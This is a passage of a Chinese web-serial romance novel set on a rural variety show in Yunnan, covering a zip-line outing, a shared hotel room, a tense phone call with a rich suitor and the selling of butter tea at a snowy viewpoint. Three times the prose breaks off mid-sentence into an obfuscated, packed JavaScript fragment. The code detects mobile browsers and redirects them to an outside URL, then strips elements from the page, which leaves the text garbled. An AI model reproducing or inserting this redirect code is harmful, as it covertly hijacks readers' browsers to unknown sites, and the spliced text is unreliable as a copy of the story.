高嘉璈问:“你怎么知道那么多?别告诉我溜索这也是你们集团的考察项目?” “尼桑县城的桥也是丰和投资建设的。”梅盛说了句模糊不清的话。 大叔讲了一些注意事项后,他们分为两组,开始带游客溜索。 高嘉璈本以为自己卡在半路没人会选他,没想到短短几分钟内,他身后的队伍已经排到山上了。 他的第一名“乘客”是一位来自海边D市的阿姨,她一头羊毛卷,穿着红色的运动装,激动地说着什么。 一口好吴语,节目组工作人员、当地的大叔、甚至梅盛都听不懂她的话。 高嘉璈挺起腰杆,对阿姨道:“阿姨你放心,很安全的,你看我刚才来回都没什么事情。” “哎呦,”阿姨笑着打量了两下高嘉璈,“小伙子,你的D市话说得好的呀,你是D市人伐?” 高嘉璈一边帮阿姨套上马甲,扣上锁扣,一边点头:“是的呀姨。姨是一个人来旅游的吗?” 阿姨笑眯眯地点头,“不是,我儿子也来了,但他不敢坐,是个胆小鬼。” 高嘉璈坐到阿姨身边,夸道:“还得是姨,太勇敢了!那我们开始啦?” 阿姨深吸一口气,“来吧!” 高嘉璈也深吸一口气,拉紧滑轮,双腿一蹬,两人滑了出去。 一开始速度很快,阿姨闭着眼睛紧咬牙关,高嘉璈握住阿姨的手,安慰道:“姨,莫怕,睁眼看看。” 高嘉璈的家乡话像镇定剂,让阿姨狂跳的心逐渐平静下来,她缓缓睁眼。 一条清澈的、奔腾的大江翻涌向前,拍打出雪白的浪花,涌入高山。阳光从山间露出来,被山脉勾勒出了纹理,两只早雁飞舞在蓝天里,像鱼游在一条清澈的河中。 高嘉璈看见她开心的表情,莫名想到自家老妈,不过老妈那个贵妇人,是不可能来这里的。 回到岸上后,梅盛那边已经开始第二程了。 阿姨高兴不已,非要拉着高嘉璈合影,工作人员本要制止,却被高嘉璈拦住。 “来吧姨。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246601|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿姨走到他身边,请排队的女生帮忙拍了照片。 阿姨看着手机里的照片,居然闪起泪花,她抹了一把,笑说:“你很像我儿子,可惜他是个胆小鬼,躲到天上去了。” 高嘉璈一愣,递上一张纸,拍了拍阿姨的肩,“抱歉。” 阿姨却抬起头,摇了摇头,说:“谢谢你啊小伙子,你长得那么帅,人又善良,以后肯定有大出息的呀!” 阿姨心满意足的离开,高嘉璈看着她单薄的背影,她好像从来不是一个人。 前几个“乘客”都是中老年人,他们怀着各自的故事来到这片土地,比高嘉璈想象得有活力多了。 大概十个人后,到了一个小姑娘,她憋着笑,眼神在高嘉璈和梅盛之间来回扫。 滑到一半时,她终于憋不住问高嘉璈:“高老师,你和梅总是一对吗?” 高嘉璈差点松开滑轮,忙说:“肯定不是啊。” 女生又问:“那梅总有女朋友吗?” “他?”高嘉璈回忆了一下,“应该没有吧。” “他高中的时候也没有。”女生神秘兮兮地说,“我和他一个高中的。” 此时已经滑到另一边,高嘉璈带着女生往上走,回头看了一眼还在对岸的梅盛,问:“真的吗?” 女生点头,“拖布一中,就在隔壁镇。他高中的时候不出名,但是很高也有点小帅,有好多女生去给他送情书,他都丢了。” “怎么可能,”高嘉璈不甚在意,帮她系好锁扣,“他是丰和集团上一任总裁的儿子,怎么可能在这个镇上读高中。” 女生有些惊讶,说:“可我们高中真的有个叫梅盛的,两个字都一样,好多年了我都记得。直到这次看综艺我才记起来。” 高嘉璈摇了摇头,笑道:“妹妹,你肯定记错了。” 这些“乘客”中,还有一个三十左右的男人,拿着vlog机器,似乎是个旅游博主。 男人很客气,也很胆小,高嘉璈拉了好几次滑轮都不起作用,低头一看,发现他脚死死抠在地上。 高嘉璈:“帅哥,抬一下脚。”然后乘男人不注意,“唰”地滑了出去。 男人“啊啊啊”地叫了几声,发现没危险,尴尬地笑了笑。 回程的时候,男人已经完全兴奋起来,他说:“我刚刚去坐了你男朋友那趟,他速度比你快多了。不过你们长那么帅,为什么要在山里溜索呢?还有那么多相机拍着,是在搞营销吗?那你和旁边那男的到底是不是一对?还是只是营销?” 高嘉璈:槽点过多不知道从何说起。 男人下了索道,兴冲冲地查看视频。 “我靠!没开机!” 他们溜了一整个下午,直到天色渐晚才停下,高嘉璈一身大汗,手也被勒得青紫,上坡的时候感觉还在索道上飞,几乎要站不稳。 梅盛走在他身边,精心打理过的头发早就乱七八糟,高嘉璈看见,心想真该让他员工看看梅总现在的样子,于是又掏出手机悄悄拍了一张。 梅盛听见快门声,没阻止,只说:“别让我员工看见。” 高嘉璈:“你怎么知道我要发给他们?” 梅盛浅笑,说:“你公布照片,我就公布是谁拍的,这样全世界都知道,你偷拍我。” 高嘉璈眯了眯眼睛,“梅盛,我发现你越来越坏了。” “跟你学的。” 16. 梅盛的反击 吃晚饭时,杨梅和高嘉璈梅盛分享了当导游的事情。尼桑县城虽然看着小,却是以前茶马古道的必经之路,是国际交通要道,留下了许多风俗历史。 白子慎不顾节目组阻拦,非要喝点小酒,酒过三巡,他自己站起来,给大家表演了一段导游词背诵,结果背到一半又倒了回去,一段词来回背了很多遍。 周晓文把他拉回座位上,问梅盛今天溜索怎么样。梅盛点头,“还行。” “哇我和你们说,那个溜索超级爽超级好玩!”总算等到有人问,高嘉璈兴冲冲地讲起来,讲得栩栩如生眉飞色舞,讲得杨梅蓝岚都想去体验一把。 周晓文没听,他看见梅盛落在高嘉璈身上带着笑意的目光,气得扯过白子慎的酒猛灌了几口。 吃完饭已将近八点,白子慎和周晓文趴在饭桌上睡着了,蓝岚看了眼手机,问陈彤:“今晚我们住哪儿?” 陈彤说:“今晚不住镇上,我们要继续赶一小多时的路,到雪山对面的雾来顶住。” 高嘉璈指着睡着那俩,“那他们?” “搬到车上运过去,”陈彤非常认真地说,“睡着了刚好,不会晕车。” 一个小时后,高嘉璈向旁边打鼾的白子慎投去了羡慕的目光。 车一直在山里绕,从这座山绕到那座山,穿过一个又一个的隧道、经过一座又一座大桥,海拔不断升高,温度不断降低,天上甚至开始下起冰雹,地面也结冰,车爬得比乌龟还慢。 车窗被雾蒙起,看不到外面任何景色,高嘉璈坐在靠窗的地方,因为高海拔有些缺氧,头晕眼花,才要睡着,车终于慢悠悠停了下来。 高嘉璈看了一眼窗外,由于起雾,只能看到几盏霓虹灯,应该是住宿的地方。 下车前,工作人员递上一件巨厚无比的羽绒服。 高嘉璈:不至于吧,这是八月。 下了车,高嘉璈知道了“严寒刺骨”四个字怎么写。 不同于冬天,这里的温度其实没那么低,但寒意扑面而来,从各个地方挤进来,有种透骨的凉。 其他人还没到,高嘉璈赶紧跑进酒店。 这个酒店比尼桑的招待所不知道高级多少倍,外面有庭院和流水,酒店建筑设计也像博物馆一样,方正而古朴。一进去,数百平方的大厅仅用两边暗沉的火焰打亮,地板和墙全是大理石砌成,四周都做了落地窗的设计,能隐约看到对面的高山和下面一个小镇子。 高嘉璈震惊地环视一圈,心到不好,肯定又要做任务了。 才要转身,被陈彤拉住,“高老师去哪里?” 高嘉璈讪笑,“这酒店太贵,我下去随便找个招待所对付一晚。” “放心高老师,你溜索赚了很多钱。” “是吗?” “当然,不过……”陈彤一笑,坏事要到。 “可农们,我是你们的主持人大升!”大升笑着从酒店的旋转楼梯上下来,甚至穿着睡衣,“边泡澡边看雪山的浴缸,认准XX酒店!” 高嘉璈:“你们不是丰和集团独家冠名吗?” 陈彤转头瞟了一眼刚进来的剩下三人,低声说:“这是他的个人行为,与我无关。” 大升见人到齐了,下了楼梯,走到他们面前,笑着说:“各位可农,欢迎来到雾来顶,在这里,你们将看见世界上最美的雪山。当然,大家在欣赏的同时也需要做一点小任务。在西瓜地村,一些村民会在旅游旺季来到雾来顶,用他们的普通话帮当地少数民族朋友们卖早点,所以各位,明天早上六点请准时在酒店门口集合,我们将分为两组,一组卖青稞饼,一组卖酥油茶!请大家按时到达。最后,本节目由丰和集团独家冠名播出。” 说完,飘然离去,留四人在酒店大堂凌乱。 便宜没好货,贵也没好事。 酒店只有两层,没有电梯,睡着的白子慎和周晓文已经被搬到了一楼的观山房间。 所以,今晚高嘉璈将和梅盛一个房间。 高嘉璈拉住陈彤,“你炒cp也不能这样炒啊!” “炒什么cp?”陈彤一脸奇怪,“你当时趴在梅总身上不是误会吗?还是你俩真有点儿什么?” 高嘉璈愣在原地,他俩确实是有点什么,只不过不是陈彤想的那什么。 “酒店没有别的房间了吗?”高嘉璈问。 “有啊,”陈彤真挚地说,“两万一个。” 高嘉璈:? 陈彤把手放在高嘉璈肩上,“就住一晚,放心,梅总又不是什么流氓,别人还巴不得和他一个房间呢。” “那要不你去?” “不好意思,我住的房间比你们贵两千,不换。” 高嘉璈:“你……” “早点上去吧,我们还想下班呢。”陈彤悄悄说,“对了,今晚酒店没监控哦~” 高嘉璈:“我……” 蓝岚看了看和导演说悄悄话的高嘉璈,拐了一下梅盛,说:“梅总,他似乎不愿意和你一个房间。” 梅盛目光垂落,什么都没说。 杨梅拿到房卡,和蓝岚先上去了。陈彤也带着工作人员收工,宽阔的大厅内很快空旷起来,只剩前台和梅高二人。 梅盛看见高嘉璈纠结的神色,转身到前台,“再开个房。” 前台明显认识梅盛,有些畏缩地问:“好的梅总,请问是要观景房还是普通房?” “观景房,”梅盛强调了一句,“最好的观景房。” “那梅总是要一楼还是……诶?” 高嘉璈把梅盛拉走,“你钱多了没处使吗?那么贵的房还开两间,我俩挤挤算了。” 梅盛一愣,心从未跳得那么快过。 “帮我们把行李搬上去啊,谢谢。”高嘉璈招呼了一声酒店门童,拍了拍梅盛,“走啊,上去看看房间。” 梅盛跟在他身后半步,听高嘉璈说道:“我还以为陈彤要靠我俩炒cp,他那么坑,我不能让他得逞,谁知道炒cp后有哪些不好的事情?但他又说房间里没有摄影机,我想既然他炒不到这个cp,还不如少付一份钱……” 梅盛耳鸣起来,他看着高嘉璈一张一合的嘴,什么都听不到了,他很多年、很多年没有这样的感受,好像他跑了很久、以为永远不会到终点时,看到了希望。 高嘉璈一边嘴叭叭说着,一边打开房门:“谁知道综艺第二期陈彤会……天呐!” 一扇巨大的落地窗正对房门,窗外,有一座连绵起伏的雪山,月光照在山上,只映出银白色的雪来,庞大的雪山就这样安静地、庄严地看着高嘉璈。 深蓝的天上撒落着一条银河,比西瓜地村的更清楚,雪山此时好像融化的月亮,和星星交相辉映。 “哇。”高嘉璈只能发出这样一声感叹,所有的文字都无法形容眼前之景带给他的震撼。他拉了拉梅盛,想和他去阳台上观景,却见他不动。 微弱的雪山银光地落在梅盛脸上,融在他的眼里。 梅盛不是第一次来。高嘉璈有种直觉。 酒店套间很大,前厅除了沙发电视地毯,还有榻榻米和茶具,房间只有一个,床也只有一张——一张巨大无比的床,感觉从床头到床尾有十公里。 梅盛看了看床,才要说什么,被高嘉璈打断,“别说你要去睡沙发,床那么大够我俩睡。” 梅盛靠在门框边,微微挑了挑眉,“你说的。” “你别乱想啊,咱们就正常睡觉。”高嘉璈打开行李箱,看见自己一直没穿得上的真丝睡衣,又默默合上。 梅盛笑了笑:“我去洗澡。” 高嘉璈看着他的背影,反倒把他这句话想多了。 听浴室里传来水声,高嘉璈开了房间里一瓶不知名的红酒,裹起羽绒服,坐到阳台的躺椅上。 看着雪山,品着红酒,自己的心很久没这么安静过了。 当然,要是手机不响就更好了。 他愤愤放下酒杯,接起电话,“喂,谁啊?” 对面显然被他这语气吓一跳,愣了一会儿,传来清冷的声音:“我是萧远。” 高嘉璈一惊:“萧少爷?你怎么会有我电话?” 那边静默,半晌才说:“你把号码给我了。” “哦哦哦对哦,”高嘉璈这才想起,“萧少爷打电话给我,有什么吩咐吗?” “你之前为什么不接我电话?”萧远问道,语气有些压迫。 “我在山里啊,萧少爷,信号很差的。” 那边再次哑住,硬着头皮说:“有信号的时候,你也应该回拨给我。” 高嘉璈觉得他是不是脑子有毛病,“萧少爷,你电话打不进来,我怎么知道你打过电话?” 转念一想,他可能从来没遇到过,需要打给哪个没信号的人这种情况吧。 “有意思,”萧远冷笑一声,“你现在还在滇省吗?” “对,录节目呢。” “什么时候录完?” “估计,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246602|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得半月吧?” “太慢了,别录了,退出,我给你出违约费。” 高嘉璈尬笑两声,说:“不用不用,萧少爷,我在这里挺开心的。” “可我想见你。” “那等我录完节目,让我经纪人安排一下怎么样?” “你录节目,是不是因为那个梅盛?” 高嘉璈一愣,说:“当然不是,这里挺好的萧少爷,我喜欢这里。” “乡下有什么好的,又脏又臭,”萧远冷道,“既然不是因为人,那就退出,我让你看看什么叫好地方。” 高嘉璈真想给他两拳,说的是人话吗? “那个,萧少爷,我觉得我还是……” “退出吧,高嘉璈,我会帮你处理一切舆论,只要你来见我。”萧远说着,从沙发起身,走到阳台,看着楼下的一片繁华,“你要知道,我萧远不是什么人都攀得上,可我偏偏看上你了。” 高嘉璈也站起身,他眼前没有高楼大厦、没有霓虹亮眼,只有一座纯洁无比的雪山,“萧少爷,我真的不想退出,我向你保证,我一定会……” 手机忽然被人从后面抽走,高嘉璈抬头一看,是穿着件厚浴袍、头发还在湿漉漉的梅盛。 “梅盛你还……唔唔!” 梅盛手臂绕到高嘉璈身后,用手捂住他的嘴,接起电话。 萧远痛心疾首地问:“你们是在,舌吻吗?” “我是梅盛,你有什么事?”梅盛的语气很淡,压迫感却十足,不似萧远刻意压低的声线,而是让人从心底起了寒颤。 “梅盛,”萧远又冷笑一声,“是那个和我抢着刷嘉年华的疯子吧?知道我是谁吗?” “不知道。” “……”萧远气不打一处来,“你问问高嘉璈。” 梅盛放开高嘉璈,高嘉璈喘了一口气,立刻说:“他是京圈太子爷,祖上是大贵族,太爷爷是国内知名教育家,爷爷在英国留学,他爸更是商圈、娱乐圈都有涉及。” 还小声在梅盛耳边说了句,“惹不起啊。” 梅盛笑了一下,似乎是不信,似乎是觉得好笑。 萧远听见了高嘉璈的解释,冷笑道:“知道了吧?” 梅盛说:“你知道我是谁吗?” “梅盛,我搜了一下你,搞农业的,难怪要去参加那种田节目,化肥不好卖吧?哦对,以后高嘉璈跟了我,他身上那什么猪饲料的代言不要了,违约金我帮他赔。” 梅盛淡淡道:“就这些?” 萧远被他逗笑,“别的不配入我眼。” “你问问你爸。” 萧远:“你说什么?” “问问你爸,梅盛是谁,”梅盛嘴角勾起一抹笑,“萧大哥一直说他儿子不成器,今天我算是知道什么意思了。说起来,你应该叫我一声梅叔。” 萧远直接被气笑,但他留了点心眼,不敢再多问,只能抓着别的说:“你一个老男人,还想着老牛吃嫩草,不害臊吗?” 梅盛说:“不能因为我能力比你强,就认为我年纪比你大。你不是查我资料了吗?没查到我几岁?还是你不识数。” 萧远完全没想到会是这样的结局,“好啊梅盛,我看你能装多久。和我抢,你还太嫩……” 梅盛直接把电话挂了。 高嘉璈目瞪口呆,真正的目瞪口呆,嘴都能放下一个鸡蛋。 梅盛把手机还给他,这才觉得冷,说:“到里面去吧?” 高嘉璈双手接过手机,跟着他进屋。 梅盛像是什么都没发生一样,插好吹风机就要吹头发,高嘉璈赶紧过去抢过吹风机,“梅总,我来我来。” 梅盛笑眼看他,“你怎么了?” “小的有眼不识泰山,不知道你连萧远都不放在眼里,居然还和他爸爸称兄道弟,我帮领导吹吧。”高嘉璈说着,打开吹风机,结果口对着自己,吹了一嘴热风。 梅盛拿回他手里的吹风机,笑容淡了些,说:“我不认识萧远父亲。” 高嘉璈:“?那你刚才?” “我乱说的。” 高嘉璈:“真的假的?” 梅盛说:“你猜。” 于是高嘉璈就真的思考了一晚上,洗澡的时候思考,吹头发的时候思考,躺在床上还在思考。 旁边的床陷了下去,高嘉璈侧头看梅盛,夜光打在他高挺的鼻梁上,浴袍下的腹肌若隐若现,对上他的目光,高嘉璈默默用被子遮住一半脑袋。 17. 日照金山 他们的被子分开,一个在床这头一个在床那头。梅盛不知道用了什么高级的沐浴露,淡淡的白桦味一直往高嘉璈鼻子里钻。 “你用的什么沐浴露?那么香。”高嘉璈把被子放开,问道。 梅盛说:“立白香皂,怎么了?” “胡扯,立白哪里有这个味道的香皂。” “你用过立白香皂吗?” “……没有。” 梅盛勾了勾嘴角,说:“早点睡吧,明天早起。” 房间里安静下来,高嘉璈转过身,听着窗外呼呼的风声,看着圣洁的雪山,想着梅盛的话。 梅盛的呼吸几乎没有,很轻很淡,应该也没睡着。 “梅盛。”高嘉璈唤了一声。 果然,半晌后,梅盛轻问:“怎么了?” “你之前来过这里吗?除了项目考察。” 梅盛深叹出一口气,“来过。” 高嘉璈来了兴致,翻过身看着梅盛,问:“你是不是来这里读过高中?” 梅盛说:“听今天那个女孩说的吧?” 高嘉璈“嗯”了一声。 “不是,”梅盛睁开眼,微微侧头看向高嘉璈,“我高中在D市读的。” “我就说嘛,”高嘉璈有些小骄傲,听清他的回答后,又一惊,“你在D市读高中?哪个学校?” 梅盛说:“圣华国际。” 高嘉璈瞪大眼睛,“你和我一个高中!” 梅盛笑了笑,“是吗?” “不过你比我大五岁,你在圣华读高中的时候,我还在上小学呢。诶,那你小学在哪里上的?也在D市吗?” “不,”梅盛的目光移开,落在天花板上,“在别的省,那时父亲还没有在D市开分公司,D市分公司,是我姐开的,所以高中都是和我姐姐住在一起。” “你姐一定是个很厉害的人。”高嘉璈由衷说道。 梅盛没答,转而问道:“你呢?在圣华读高中时,应该很受欢迎吧?” “你怎么知道,”高嘉璈笑起来,“当时好多女生追我,每天的情书都堆不下桌子,一打球,我不夸张,整个操场都要堵起来。” 梅盛问:“那你高中谈过恋爱吗?” 高嘉璈瞟了他一眼,心想梅盛的脑子怎么也变成猪脑子了,“我都……亲过你了,怎么可能还和女生谈恋爱。” “我说男生。” “那更没有了!”高嘉璈也不知道自己干嘛那么激动地否定,“你也是圣华的,应该知道,圣华很多男生仗着自己家里有点钱,就会欺负靠成绩考上来的普通学生,我很讨厌这种行为。” 梅盛垂眸,说:“是这样。” 高嘉璈兴冲冲地问梅盛,“那你高中谈过吗?” “没有。” “后来谈过几次?” “没谈过。” 高嘉璈满脸不信地看看了看梅盛,然后视线控制不住地往下,嘴比脑快:“就算身体不行,心也控制不住的吧。” 梅盛挑眉,看向他,银光照得他眼眸像星辰。 高嘉璈赶紧找补,“假如,我是说假如身体不行的话……”越解释越奇怪,他尴尬地转过身体,用被子把脑袋全部捂住。 “高嘉璈。” 梅盛的声音在被子里听起来很闷,却带着难得的紧张,高嘉璈忽然发现这是他们认识以来,梅盛第一次叫自己的名字。 “干嘛。”高嘉璈露出半个脑袋,还是背对着梅盛。 “你为什么喜欢顾留?” 高嘉璈一愣,“什,什么?” 梅盛没有再说话,他知道高嘉璈听见了。 “顾留啊,”高嘉璈有些不确定梅盛这时问自己这事的原因,“其实也是年少无知,我本科是学音乐的,第一次演戏什么都不知道,他一直教我,帮我调动作调感情,很有耐心。说实话,成熟又温柔的人谁不喜欢?” 梅盛沉默半晌,又问:“那你觉得,我是个什么样的人?” 高嘉璈翻过身,看着梅盛,“为什么这样问?” “我骗你签了猪饲料代言,你是不是恨我?” 高嘉璈打量他,梅盛却刻意避开了高嘉璈的视线。 “我一开始当然讨厌你,”高嘉璈轻声说,“但后面我发现,你真的是个很好的农业集团总裁,你爱农村,不会一边靠农村吃饭,一边又嫌弃它又脏又臭。” 梅盛的嘴角勾起,眼里闪着点点光芒,说:“等综艺结束,我结束你的猪饲料代言。” 高嘉璈坐起身,问:“真的吗?!” “真的。”梅盛抬眼,看着他。 高嘉璈心想原来梅盛吃这套,立刻笑眼盈盈地夸起来:“梅总,你就是我见过最大度最善良最完美的人类。你看你长得帅又有钱,人还那么好,让别人怎么活,萧远就应该学学你,怎么做一个正常的霸总。梅总,梅老板,等综艺结束我请你吃火锅,不,请你去D市最贵的餐厅吃牛排!!” 梅盛却没有什么太大的反应,只是安静地、眼底带笑地看着高嘉璈。 他不知道,这些都不是自己想要的。 高嘉璈喜滋滋地睡着了,梅盛轻轻拉过被高嘉璈压住的被角,帮他盖好。他挡住了雪山的光,把高嘉璈隐在自己怀里,高嘉璈平稳的呼吸像风一样划过他的耳垂,挠在他心上。 …… 第二天天还没亮时,高嘉璈就被梅盛叫醒了。 黎明前的雪山褪去了银光,深蓝的天空没有一丝云彩,像海一样躲在雪山背后。 他们洗漱完毕,披上羽绒服,下到大厅,其他嘉宾和工作人员塞满半个大厅。 周晓文看到两人一起下来,脸上又要挂不住,要不是白子慎拐了他一下,真怕他下一秒骂出声。 但他也没理由骂,毕竟是自己喝酒误事的。周晓文不断盘算着一路,他不但没有给梅盛什么好印象,反倒全是一些糗事,这就是爱人心切吗? 大升带着他们出了门往下面镇子走去,走了百米后,在一家早点店停下。店门口挂着厚厚的毡布,墙是深红色的,民族风情十足。 店内不大,挑高不高,中间有一个炉子一样的东西,炉子上架了银色的桌子,桌子中间有一根管子,一直链接到天花板,再从窗子绕出去,应该是烟囱。 一个皮肤黝黑的大叔坐在炉前,和他们打了招呼,示意他们围着炉子坐下。炉子边很热乎,热气烤着腿,洗刷早起的严寒。 每个嘉宾面前有一碗奶茶,大叔指着调料罐,用非常不标准的普通话说:“酥油茶,有甜的咸的,你们要哪个?” 高嘉璈拿起面前一碗酥油茶,上面浮了一层油漂,闻了闻,奶味很重,他悄悄问梅盛,“你喝过吗?” 梅盛说:“喝过。” “哪个好喝?” “我喜欢咸的。” “咸的会好喝吗?” 梅盛说:“咸酥油茶是当地人的喝法,外地人可能喝不惯。” 高嘉璈胜负欲上来,第一个举手要咸的,梅盛也要了咸的。 杨梅和蓝岚对视一眼,小声说:“咸的酥油茶会不会太奇怪?” 蓝岚:“我们要甜的。” 白子慎决定什么都不加,喝纯的酥油茶。 周晓文在理性和感性之间纠结,他觉得自己没办法咽下咸的酥油茶,但选甜的又觉得驳了梅盛面子,也选了纯的。 大叔给每个人加好料后分给他们。高嘉璈浅尝一口,说实话,味道非常奇怪,像是咸牛奶,但比咸牛奶要腻和腥。 梅盛一口气喝完,对大叔说:“很正宗。”他说的是藏语,比说普通话的语调更低,像咒语一样。 高嘉璈:?这都会?! 高嘉璈憋着气把酥油茶喝完,吃了个很甜的烤红薯后,心情又好起来了,问对面的杨梅甜的味道怎么样。 杨梅重重点头,竖起大拇指,“很香很好喝。” 白子慎却微微摇头,表情扭曲地说:“奶味太重了,很腥。” 周晓文抿着嘴皱着眉,似乎想把剩下的倒了。 吃完早餐,天稍微有了一点颜色,陈彤对大叔点了点头,大叔起身,从柜子里拿出四个挂板。挂板是一块木板,几根绳子绕在木板两边,挂在脖子上,木板就能像个小桌子一样支棱在胸前。 除此外,还有一张小推车,上面有五壶酥油茶,一打纸杯,一罐白糖和盐。 大升拍了下手,笑说:“大家今早需要去观景台卖早点,两个人卖青稞饼,两人卖酥油茶,两人卖鸡蛋和红薯。注意,大家需要相互竞争,我们今天坐大巴车下山,赚钱最多的一组可以选位置。” 梅盛第一个说:“我去卖酥油茶,只有我知道甜咸的量。” 周晓文赶紧把握住机会:“我也要卖酥油茶。” 大升却笑笑,说:“周老师,刚才选酥油茶味道已经分好组了,梅总和高老师一起卖酥油茶。周老师,另选一个吧?” 雾来顶观景台大概有一个足球场大小,正对雪山。天还没亮,人群已经逐渐聚集起来,高嘉璈和梅盛推着小车,占了个靠近人群的好位置。 白子慎挂着挂板,上面是一筐熟鸡蛋,有原味的还有卤味的,人们闻到鸡蛋的味道被吸引而来,再加上白子慎是老油条,大声吆喝着“卖鸡蛋卖鸡蛋,卤鸡蛋蒸鸡蛋……”身边很快围起人来。 周晓文不用吆喝,他的红薯自带吸客体质,来旅游的多是汉族人,吃的惯红薯,那边买一个鸡蛋,这边买一个红薯,销量很快起来。 杨梅和蓝岚那组稍逊,青稞饼很少有汉族人吃过,销量不如鸡蛋红薯。但正是因为没吃过,很多汉族人选择尝尝,再加上杨梅蓝岚俩美女,周围很快被各种男的挤爆。 最惨的是高嘉璈组,推车不像挂板一样可以随意移动到人群里,而且推车上没有写任何文字,根本没人注意到他们在卖酥油茶。 但高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246603|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉璈和梅盛的外形还是吸引了一些小姑娘,她们围过来,笑嘻嘻地问:“帅哥,你们这是卖什么?” 高嘉璈把壶往前推了推,说:“酥油茶,很好喝,要不要来一杯?” 一个姑娘嘴里呼出冷气,说:“我们一人来一杯吧,多少钱?” 高嘉璈看向梅盛,用眼神问他该卖多少钱。 “15一杯。” 高嘉璈瞪大双眼,那么一小个纸杯的酥油茶卖15,怎么不去抢? 几个姑娘也有些犹豫。 梅盛对她们说:“酥油茶是这里的民族特色,这五壶是我亲眼看着当地人熬的,我自己也喝了,绝对正宗好喝,你们在别的地方喝不到。而且就这么点儿,卖完今天就没了。 ” “我们四个一人一杯,60转过去了。”几个姑娘对视一眼,付了钱,看向高嘉璈,“好冷,帅哥,快给我们吧。” 高嘉璈这才反应过来,拿起壶倒了四杯,笑问:“你们要喝甜的还是咸的?” 姑娘问:“你们推荐一下?” “甜的好喝。” “咸的。” 高嘉璈和梅盛异口同声。 四个女孩好笑地看着他们,最后要了两杯咸的两杯甜的。 看着今天赚到的第一笔钱,高嘉璈高兴地说:“我还以为15她们不会买,没想到那么爽快。” 梅盛一边把纸杯摆出来,一边说:“她们是来旅游的,比起15块,她们更在意能不能体验到当地特色,花的钱值不值得,而且限量销售,能激起人的购买欲。” “最后,天气太冷了,热乎乎的酥油茶谁能拒绝?”高嘉璈补充道。 梅盛点头,“真聪明。” “也不行啊,”高嘉璈靠在推车上,看着人满为患的白子慎组,“他们的鸡蛋红薯薄利多销,杨梅的青稞饼也有我们的卖点,饼多价格也便宜,我们也比不过。” “比得过,”梅盛拿过糖罐和盐罐,分别在空纸杯里撒上糖或者盐,“他们两组是竞品,我们是互补品,无论是吃鸡蛋红薯还是青稞饼,顾客都会需要一杯喝的。” “有道理啊,可怎么没人来找我们呢?” 梅盛把放好糖和盐的纸杯摆放整齐,直起身,说:“要吆喝。” “吆喝?”高嘉璈看着摩肩擦踵的人群,脚趾抓地,“怎么吆喝?” “热乎的藏式酥油茶,十五一杯。”梅盛突然放大声音,对着人群吆喝起来,他的语调控制得很有意思,好像街边的喇叭,无趣但又总是会钻进耳朵。 果不其然,几个被冻得蒙圈的男生围过来,一人要了一杯,暖着手心满意足地离开。 梅盛带着笑意看向高嘉璈,“你试试?” 高嘉璈清了清嗓子,气沉丹田,“卖酥油茶啦,香喷喷热乎乎的藏式酥油茶,大家快来看看!!” 他学音乐出身,嗓音又清脆又好听,但也很大声,瞬间吸引了许多人停下脚步,探头探脑地往这边看。 高嘉璈抓住机会,“非常正宗非常好喝,马上买完了!” 一听说快卖完了,本来踌躇的人们围了上去。 梅盛俯身到高嘉璈耳边,低声说:“说我们现在打折卖,19一杯。” “你真是奸商,”高嘉璈小声说道,然后把一杯酥油茶递给对面的人,“马上卖完了,给家人们打个折,给我19就行。” 梅盛笑说:“你也不赖。” 经过几轮吆喝买卖,五壶酥油茶很快卖完,赚了一千多块。 他们收了摊位,天已经亮起来,但人却越来越多,挤到观景台边,不少人架起相机,看着比他们拍综艺还专业。 高嘉璈看向对面的雪山,泛着很淡的橘调,不如他们昨晚看到的银山美。 “走吧。”高嘉璈推着小车正要抬脚,被梅盛一把抓住。 “来了。”梅盛紧紧盯着雪山。 高嘉璈顺着他的视线看去,最高的雪山主峰之巅,出现了一点金黄。 人群激动起来,快门声不绝于耳。 那一点金黄缓缓往下、朝两旁的雪山扩大,银白的雪山变成了金黄,不是纯粹的金色,混杂着阳光的橙色,耀眼至极。 阳光的分界线很明显,分界线下面是暗淡无光的岩山,分界线上面是金光灿灿的雪山。 晨风从雪山之巅吹到高嘉璈身上,他的鼻尖被吹得通红,却感受不到一丝寒意,脑里只有两个字:震撼。 梅盛望向高嘉璈,说:“许个愿吧。” 高嘉璈于是双手合十,许了个身体健康、顺顺利利的愿望。看到眼前雄伟的雪山,他莫名觉得,这个愿望能实现。 “你许了什么愿?”高嘉璈抬头,问梅盛,却猛地撞进他柔和的目光中。 风吹起梅盛不服帖的头发,在晨光下,深邃的五官帅得好像古希腊的天神。 高嘉璈脸蹭地红了。 “我的愿望,和你有关。”梅盛说道。 18. “前男友”顾留的加入 